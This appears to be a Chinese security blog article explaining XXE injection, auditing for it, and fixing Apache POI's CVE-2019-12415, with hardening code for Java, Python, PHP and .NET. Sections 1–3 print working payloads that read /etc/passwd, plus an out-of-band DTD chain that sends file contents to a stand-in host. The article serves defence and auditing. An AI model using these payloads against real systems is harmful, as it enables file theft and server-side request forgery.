XXE 外部实体注入:原理、代码审计与 Apache POI 修复实战

发布时间:2026/9/17 9:12:19
XXE 外部实体注入:原理、代码审计与 Apache POI 修复实战 去年帮一个朋友排查他公司的一个老接口对方系统按约定往他这边推 XML一直跑得好好的某天运维突然发现应用服务器的日志里出现了/etc/passwd的内容。查了半天业务代码最后问题落在一个谁都没在意的!DOCTYPE ...声明上——XML 解析器乖乖听话把服务器本地文件读出来还顺手放进了响应里。这就是 XXE全称 XML External Entity Injection中文叫 XML 外部实体注入。它不是什么新鲜漏洞OWASP 每年榜单上都有它但因为 XML 在配置、数据交换、报表导出、WebService 里用得太普遍这个坑至今还在被人反复踩。这篇内容偏实战讲清楚三件事XXE 的实体机制到底怎么转起来、为什么不同语言不同框架的表现差异巨大、以及拿到源码后怎么用最快的速度把它堵死。前半部分给做安全测试和代码审计的人看后半部分的加固代码可以直接抄给开发同学用。中间会结合 Apache POI 4.1.0 及更早版本里 XSSFExportToXml 那个知名的 XXE对应 CVE-2019-12415做一次完整复盘因为它是国内项目里最容易中招的一类——用的是第三方库代码看起来还是别人写好的多数人根本不知道它默认开着危险选项。1. 一个能读出服务器文件的 XMLXXE 到底是怎么发生的1.1 从一次接口联调说起绝大多数人第一次见到 XXE场景都差不多一个接收 XML 的接口。可能是个老式的对外数据交换接口可能是个上传 Excel/XML 做报表的任务也可能是某个 SDK 内部偷偷解析了一段 XML。这类接口的特点是你只关注业务字段从来没想过 XML 本身还带着指令。正常的 XML 长这样?xml version1.0 encodingUTF-8? order id10086/id amount99.00/amount /order而一段带恶意的 XML 只需要在最前面加一个 DOCTYPE?xml version1.0 encodingUTF-8? !DOCTYPE order [ !ENTITY xxe SYSTEM file:///etc/passwd ] order idxxe;/id amount99.00/amount /order如果你把这个 XML 丢进一个默认配置的 JavaDocumentBuilderFactory里解析再把id字段的值打印或返回出来你会看到/etc/passwd的完整内容。注意这里没有反序列化、没有命令执行、没有越权纯粹是解析器按规范办事。这就是 XXE 最反直觉的地方——漏洞点不在业务代码的 if/else 里而在 XML 解析库的默认开关上。SYSTEM关键字后面跟的是一个 URI它可以是file://本地文件、http://远程资源、ftp://、jar://Java 环境下甚至在特定 JDK/类路径条件满足时存在netdoc://这类冷门协议。也就是说只要解析器允许外部实体攻击面就不是读一个文件这么简单而是把解析器变成了一个能发起网络请求、能读本地文件、能触发 SSRF 的组件。1.2 危害不止读文件这一件事很多初级的安全评估报告里XXE 只写任意文件读取这是低估了它。完整地说一次成功的 XXE 能带来的东西包括任意文件读取最常见的收益。读配置文件拿数据库密码、读密钥文件、读源码都是常规操作。Linux 下/etc/passwd只是用来验证能不能读的探针真正值钱的是/proc/self/environ、应用配置文件、云环境的元数据接口。内网探测与 SSRF用http://外部实体让服务器去请求内网地址通过响应时间、报错内容判断端口是否存活、服务是否存在。这是 XXE 被低估最多的一点它的本质就是一个被 XML 语法包装的 SSRF。拒绝服务经典的 Billion Laughs十亿笑声攻击用指数级膨胀的实体定义把内存吃干。虽然现在大部分解析器对这种实体扩展有保护但配置不当的组合依然存在风险。在特定条件下升级为命令执行PHP 环境里如果装了 expect 扩展expect://包装器可以直接执行命令Java 环境里如果应用用了 XStream、XMLDecoder 这类反序列化库读文件只是前菜。所以看到 XXE 报告里只写任意文件读取时别急着按低危处理得看这个解析点能不能带外、能不能发请求、解析的内容是不是可控。1.3 触发 XXE 的关键前提不是所有 XML 都有 XXE。它成立需要三个条件同时满足用户能控制 XML 内容且控制在 DOCTYPE 之前或之中DOCTYPE 必须在根元素之前所以如果你的可控点被拼接在根元素内部直接注入 DOCTYPE 通常不行得看拼接顺序。解析器允许 DTD即disallow-doctype-decl没被设置成 true。解析器允许外部实体或外部参数实体即external-general-entities和external-parameter-entities没被关掉。这三个条件里第 2、3 条完全由解析器配置决定而很多框架、工具类、老版本库恰恰在这两条上放水。这也是为什么同样是 Java有的项目稳如老狗有的项目一测一个准。2. 实体、DTD 与解析器搞懂这套机制才知道坑在哪2.1 DTD、内部实体与外部实体的区别要真正理解 XXE得先把 XML 的实体体系理清楚不然看 payload 就是天书。DTDDocument Type Definition是 XML 的类型定义它原本的用途是规定文档里允许出现哪些元素、哪些属性、哪些实体。DTD 可以写在 XML 内部!DOCTYPE note [ !ELEMENT note (to,from) !ENTITY company Acme Corp ] note tocompany;/to fromme/from /note这里的!ENTITY company Acme Corp是内部实体它的值是写死在 DTD 里的字符串解析时直接把company;替换成Acme Corp。内部实体本身无害是正常的 XML 特性。而外部实体的定义方式多了一个SYSTEM或PUBLIC关键字!ENTITY xxe SYSTEM file:///etc/hostname区别在于内部实体的值是字面量外部实体的值来自一个 URI。解析器在遇到xxe;时会主动去请求这个 URI把返回内容当作实体值填进去。这个主动去请求就是漏洞的全部来源。还有一个容易被忽略的点DTD 本身也可以从外部加载!DOCTYPE note SYSTEM http://example.com/note.dtd这叫外部 DTD 引入如果解析器允许它攻击者可以把整个 DTD 放到自己的服务器上只让目标 XML 里留一行引用。这种手法在绕过长度限制、绕过某些 WAF 关键词匹配时很常用。2.2 参数实体为什么是盲注的关键除了!ENTITY name ...这种通用实体DTD 里还有一类参数实体写法是在名字前加一个百分号!ENTITY % file SYSTEM file:///etc/passwd参数实体只能在 DTD 内部使用也就是!DOCTYPE [...]里在文档正文中不能直接引用。它的引用方式是%file;。为什么它重要因为通用实体不能在 DTD 内部互相嵌套引用而参数实体可以。这个语法差异直接决定了没有回显的盲注场景怎么打。举个典型的盲注场景目标接口不返回任何解析结果但会去请求外部资源。这时候你没法直接把文件内容回显到响应里只能用参数实体把文件内容拼进一个 URL让服务器主动去请求你的接收端!DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://example.com/evil.dtd %dtd; ]而evil.dtd的内容是!ENTITY % all !ENTITY send SYSTEM http://example.com/?d%file; %all;这套技巧的原理是通用实体send的定义里引用了参数实体%file;参数实体在 DTD 阶段被先展开成文件内容于是send的值就变成了http://example.com/?d文件内容再在正文里引用send;时解析器就会带着文件内容去请求你的服务器。这就是经典的带外数据外带手法。这里要提醒一句%file;展开出来的内容如果包含换行、空格、特殊字符URL 可能构造失败。实际测试里常需要配合只读取无特殊字符的文件比如先读/etc/hostname验证通道或者用php://filter加 base64 编码把内容转成无特殊字符的形式。2.3 解析器为什么会听话去读文件从规范角度看XML 解析器解析外部实体是符合规范的行为。DTD 的设计初衷就是允许文档引用外部结构。问题在于这个设计诞生于一个XML 文档都是可信的的年代而现代应用里 XML 几乎全是不可信输入。历史包袱就是这么来的。各种语言的 XML 库为了保证向后兼容默认行为长期偏向功能完整而不是默认安全Java 的DocumentBuilderFactory默认disallow-doctype-decl是 false也就是说默认允许 DTD。Python 的lxml默认resolve_entitiesTrue会解析实体no_networkTrue虽然禁了网络但本地文件照样能读。PHP 的 libxml2 在 2.9.0 之前默认解析外部实体libxml_disable_entity_loader是后来才被广泛使用的补丁式 API。这就解释了为什么 XXE 一直阴魂不散安全选项不是默认开着的需要开发者主动去关。而大量老代码、大量第三方库根本没有关。还有一个特别隐蔽的点很多框架在你不注意的地方偷偷创建了一个新的解析器。你以为你全局配了安全工厂结果某个工具类内部自己newInstance()了一个配置全是默认值。这事在下面讲 Apache POI 的时候会详细展开。3. 有回显、报错、盲打XXE 的三种表现形态与探测思路3.1 直接回显型最容易验证也最容易被发现回显型的判断最简单你构造的实体在响应里出现了明文就说明能回显。验证时不要一上来就读敏感文件先用一个无害的文件探针比如 Linux 下的/etc/hostname或者file:///c:/windows/win.iniWindows 环境这样既能证明漏洞存在又不会在日志里留下刺眼的痕迹。回显型 payload 的核心是把实体引用放在一个会被业务逻辑回显的字段里?xml version1.0? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/hostname ] root usernamexxe;/username /root如果这个username会被返回、被写日志、被存库后再展示你就能看到内容。实测里经常遇到的坑是实体被解析了但内容被业务逻辑丢弃了这时候响应是空的容易误判为没有漏洞。遇到这种情况要换思路用报错型或者带外型再确认一遍。3.2 报错型把数据塞进错误信息里有些接口解析失败时会把异常信息原样返回尤其是开发环境没关错误页或者用了通用的异常处理直接把e.getMessage()吐给前端。这种场景下可以让解析过程故意报错并把文件内容嵌进错误信息。一个常见的思路是利用实体引用去触发一个包含目标内容的异常。比如构造一个引用不存在资源的 URI让文件内容出现在无法解析的 URI这类报错里。实际手法会根据具体解析器的报错格式调整核心思路是让解析器在报错前先把实体展开。报错型的价值在于即使响应体不返回业务字段只要错误信息可控就能拿到数据。但如果应用把异常统一包装成系统繁忙这条路就断了只能走带外。3.3 带外通道型没有回显时的唯一出路带外OOBOut-of-Band型是盲测场景的主力。它不依赖响应而是让目标服务器主动向你控制的外部服务器发起请求把数据带出来。前面 2.2 节讲的参数实体 外部 DTD 就是标准做法。除了 HTTPDNS 也是常用通道——有些环境出网只放行 DNS这时候把数据拼进域名前缀通过 DNS 查询记录把内容带出来。这里给一个更完整的 HTTP 带外结构示意主文档?xml version1.0? !DOCTYPE root [ !ENTITY % remote SYSTEM http://example.com/ext.dtd %remote; %payload; ] rootexfil;/root外部 DTDext.dtd!ENTITY % data SYSTEM file:///etc/hostname !ENTITY % wrapper !ENTITY exfil SYSTEM http://example.com/log?x%data; %wrapper;带外型测试有三个必须提前确认的点目标能不能出网、出网走的是 HTTP 还是只有 DNS、外部 DTD 能不能被加载。任何一个环节不通带外链就断了这时候需要退回到报错型碰运气。3.4 探测时的顺序与信号判断给一套我实际用的探测顺序节省时间先确认 XML 是否被解析发一个带内部实体的无害 XML看entity;有没有被替换。如果没替换说明这个解析器根本没启用 DTD/实体可以直接收工。确认 DTD 是否被允许发一个只带!DOCTYPE的 XML看解析是否报错。如果报不允许 DOCTYPE说明应用已经做了加固也收工。试回显用file:///etc/hostname做探针看响应里有没有。试报错故意构造解析错误看错误信息里是否带细节。试带外搭好外部服务器用参数实体外部 DTD 试探看接收端有没有收到请求。这里有个经验第 1、2 步用掉的请求越少越好因为大量请求容易被风控盯上。我一般把第 1、2 步合并成一个请求——内部实体和 DOCTYPE 一起发根据响应差异反推。4. 为什么同是 XML 解析Java、Python、PHP 的默认表现完全不一样4.1 Java 体系DocumentBuilderFactory 的默认行为Java 是 XXE 的重灾区原因很简单DocumentBuilderFactory、SAXParserFactory、TransformerFactory、SAXReaderdom4j、Digester、UnmarshallerJAXB这一大串 API默认状态下多个都允许 DTD 和外部实体。一个标准的加固模板如下DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);注意disallow-doctype-decl设为true是最彻底的一招它直接禁止任何 DOCTYPE等于把 XXE 的入口焊死。但它的副作用是如果你的业务确实需要处理 DTD比如某些配置格式依赖 DTD 校验就不能用这一招只能退而求其次关掉外部实体和外部 DTD 加载。expandEntityReferences这个选项容易被理解错。它控制的是解析后 DOM 树里是否保留实体引用节点。设为 false 只是让 DOM 里保存实体节点而不是展开并不阻止解析器去加载外部实体单靠它防不住 XXE必须配合前面的 feature 一起用。dom4j 的SAXReader需要单独处理早期版本默认允许 DTD得显式设置SAXReader reader new SAXReader(); reader.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); reader.setFeature(http://xml.org/sax/features/external-general-entities, false); reader.setFeature(http://xml.org/sax/features/external-parameter-entities, false);还有一个大坑JAXB 的 Unmarshaller。很多人用它反序列化 XML 成对象却不知道 XMLInputFactory 需要单独设SUPPORT_DTDfalse和IS_SUPPORTING_EXTERNAL_ENTITIESfalse。这类反序列化 XML的组合是审计时的高优先级目标。4.2 Python 体系lxml 与 ElementTree 的差异Python 的差异非常大必须区分库xml.etree.ElementTree标准库相对保守默认不解析外部实体对 XXE 相对安全。这是很多人以为Python 都安全的来源。xml.dom.minidom/xml.sax标准库里这两个要小心行为随版本和配置变化不建议直接解析不可信 XML。lxml第三方库默认resolve_entitiesTrue虽然no_networkTrue默认禁了网络访问但本地文件读取照样成立是 Python 里最需要警惕的。lxml 的安全用法是显式关闭实体解析from lxml import etree parser etree.XMLParser( resolve_entitiesFalse, no_networkTrue, dtd_validationFalse, load_dtdFalse, huge_treeFalse, ) root etree.fromstring(xml_bytes, parserparser)更省事的方案是用defusedxml库它是对标准库的一层安全包装把危险行为默认关掉了from defusedxml.ElementTree import parse tree parse(untrusted.xml)我在审计 Python 项目时只要看到lxml.etree.parse或lxml.etree.fromstring没有传自定义 parser就直接标红。因为默认那套参数本地文件读取是实打实能触发的。4.3 PHP 与 .NET版本差异是关键PHP 的情况和版本强绑定。在 libxml2 2.9.0 之前外部实体默认就是开着的libxml_disable_entity_loader(true)是那个年代的标配补丁。PHP 8.0 之后这个函数被废弃了因为 libxml2 新版本默认不再加载外部实体但只有在不使用LIBXML_NOENT标志的前提下才安全——如果你在调用simplexml_load_string或DOMDocument::loadXML时传了LIBXML_NOENT等于主动把实体替换打开了照样中招。// PHP 8.0 之前 libxml_disable_entity_loader(true); // 任何时候都不要这样写 $doc-loadXML($input, LIBXML_NOENT | LIBXML_DTDLOAD);.NET 这边XmlDocument老版本默认会解析外部实体正确做法是把XmlResolver置为 nullXmlDocument doc new XmlDocument(); doc.XmlResolver null; doc.LoadXml(input);而XmlReader更推荐但要注意设置DtdProcessing DtdProcessing.Prohibit禁止处理 DTD。默认值Parse是允许 DTD 的如果你只是XmlReader.Create(...)而不加设置风险仍在。4.4 一张对照表看清默认行为语言/库默认是否解析 DTD默认是否解析外部实体安全做法Java DocumentBuilderFactory是是关闭 doctype-decl 及两个 external-entitiesJava SAXReader (dom4j)是旧版是显式 setFeature 关闭Python lxml是本地文件是resolve_entitiesFalse no_networkTruePython ElementTree否否相对安全仍建议用 defusedxmlPHP (libxml2 2.9.0)是是libxml_disable_entity_loader(true)PHP 8.0否否默认不要传 LIBXML_NOENT.NET XmlDocument是是XmlResolver null.NET XmlReader是Parse是DtdProcessing Prohibit这张表建议直接存下来做代码审计时对照着扫效率比逐行读高得多。5. Apache POI 4.1.0 的 XXE 复盘一个工具类如何成为入口5.1 漏洞成因isValid 里少了几行代码Apache POI 是 Java 里处理 Office 文档的事实标准库导出 Excel、Word 全靠它。它的XSSFExportToXml工具类有一个isValid方法用来校验传入的 XML 是否符合某个 XSD 结构。问题出在这个方法内部构造解析器的方式上// 示意问题版本的写法 DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder();就这两行factory用的是全局默认配置既没禁 DTD也没关外部实体。而它解析的 XML 来自调用方传入——在报表导出、数据导入这类场景里这个 XML 往往就是用户上传或接口传入的内容。于是一个校验格式的工具方法变成了任意文件读取的入口。这个问题影响的版本是 4.1.0 及更早官方在 4.1.1 修复漏洞编号 CVE-2019-12415实际编号以官方公告为准关键是版本判断。修复的思路很直接在构造DocumentBuilderFactory时加上那一套安全 feature。5.2 为什么会踩到XSSFExportToXml 的使用场景这个漏洞在国内项目里命中率不低原因是使用场景太自然了。典型的代码长这样XSSFWorkbook workbook new XSSFWorkbook(inputStream); XSSFExportToXml exporter new XSSFExportToXml(new XSSFMap(...)); boolean ok exporter.isValid(userProvidedXmlPath);或者在某些报表框架里Excel 模板里定义了 XML 映射导出后要用一段 XML 做校验这段 XML 的路径或内容可能来自配置、接口甚至前端。只要这段 XML 内容可控外部实体就能被触发。审计时的判断路径很清楚搜项目里是否引入了 POI看版本号是否为 4.1.0 或更低。搜是否有XSSFExportToXml的调用点。追这个调用点传入的 XML 从哪来——是硬编码、配置还是用户输入。如果用户可控确认解析结果是否被返回或写日志判断是回显还是盲打。这里我最想强调的是第 1 步版本号本身就是漏洞线索。很多团队防线卡在业务代码自己写的解析器却忽略了对依赖库的盘点。SBOM软件物料清单和依赖扫描工具这时候价值极大一条poi-ooxml:4.1.0的依赖记录就能定位到一堆潜在问题点。5.3 修复与验证修复手段有两个层次。最省事的是升级依赖到 4.1.1 及以上这是官方修复。如果因为兼容性暂时升不了级就得自己在调用XSSFExportToXml之前做拦截——比如把用户传入的 XML 先自己解析一遍做安全校验或者封装一层禁止 DOCTYPE。实际项目里我会建议优先升级因为 POI 4.1.0 到 4.1.1 之间没有破坏性 API 变更升级成本很低。升级后要做的验证也很简单构造一段带file://外部实体的 XML喂给isValid确认解析时不再尝试读取本地文件可以通过看是否报 DOCTYPE 相关异常或者监控文件访问来判断。再说一个容易被忽略的细节。这类工具类 XXE最大的迷惑性在于你去看业务代码根本找不到DocumentBuilderFactory这个关键词扫描工具的静态规则也很容易漏。所以做代码审计时除了直接扫危险 API还要扫传递到危险 API 的入参——很多漏洞的入口藏在第三方库的方法签名里而不是你自己写的代码里。6. 从代码层面把 XXE 堵死各语言修复方案与自查清单6.1 Java一套通用的加固模板前面零散提过这里给一套我封装好、在多个项目里用过的工具方法思路是默认关死需要时再单独开public static DocumentBuilderFactory newSafeFactory() throws ParserConfigurationException { DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 最彻底直接禁止 DOCTYPE dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); dbf.setNamespaceAware(true); return dbf; }为什么不只设disallow-doctype-decl就够了因为防御要假设配置可能被人误改。实际维护中偶尔会遇到有人为了兼容某个老格式把disallow-doctype-decl改回 false如果再顺手放宽了其他选项就直接失守。多层关闭能形成冗余单点失效不至于立刻沦陷。另外提醒一个工程上的做法把安全的DocumentBuilderFactory封装成项目的统一工厂禁止业务代码直接newInstance()。可以通过 ArchUnit 之类的架构测试做约束扫描到直接newInstance()就构建失败。这条约束能挡住 90% 的新增 XXE因为它从源头上断了某人随手写一行的可能。对于TransformerFactory做 XSLT 转换时用加固方式类似但 feature 名不同需要设置XMLConstants.FEATURE_SECURE_PROCESSING为 true同时把accessExternalDTD和accessExternalStylesheet设为空字符串。这个点经常被漏XSLT 场景一样能做 XXE。6.2 Python 与 PHP几行配置的差别Python 侧最推荐的做法是全面切换到defusedxml。它对 ElementTree、minidom、sax、pulldom 都做了安全包装替换成本极低import defusedxml.ElementTree as ET tree ET.parse(untrusted.xml) root tree.getroot()如果必须用 lxml就老老实实传安全 parser前面给过的那几行照抄即可重点是resolve_entitiesFalse和no_networkTrue两个参数都要有。PHP 侧PHP 8.0 及以上基本不用担心默认行为但要做两件事一是全局搜索代码里是否有人传了LIBXML_NOENT这个标志是 XXE 的手动开关二是如果还在用 PHP 7.x 接入不受控数据保留libxml_disable_entity_loader(true)的调用。审计时我习惯直接用一条正则搜LIBXML_NOENT命中即人工确认。6.3 上线前的自查清单把下面这份清单固化到 CI 里比事后救火划算得多[ ] 所有解析不可信 XML 的位置是否都用了统一的安全工厂Java/安全 parserPython/禁实体标志PHP[ ] 依赖库清单里是否存在已知存在 XXE 的版本重点POI ≤ 4.1.0、老版本 dom4j、老版本 lxml[ ] 是否有人手动设置了disallow-doctype-declfalse或传了LIBXML_NOENT这类反向操作往往有历史原因必须逐个确认。[ ] 异常处理是否会把解析器原始报错吐给前端如果是报错内容是否包含可被利用的细节[ ] 涉及 XML 的接口是否有出网限制限制出网能大幅降低带外 XXE 的可用性是成本最低的兜底。这里面第 5 条是最容易被忽视、性价比最高的一条。很多团队只想着在代码里关实体却忽略了网络层的兜底。实际上即便代码出了纰漏如果应用服务器本身不允许出网带外通道就是断的危害会被压缩到回显和报错两个形态——而这两个形态更容易在测试阶段被发现。最后分享一个我在实际项目里踩过的坑不要以为把官方文档里那段安全配置粘进去就万事大吉。有次我给一个项目加完安全 feature测试时却依然能读到文件排查了两个小时才发现是项目里引入的一个老版本 XML 工具包它内部自己维护了一个缓存好的解析器实例外面配的安全工厂压根没被用到。从那之后我养成了一个习惯加固完一定要回头构造一个真实的 payload 打一遍只看配置文件不验证等于没做。这个验证动作花不了五分钟但能挡掉那些以为修好了其实没修的假象。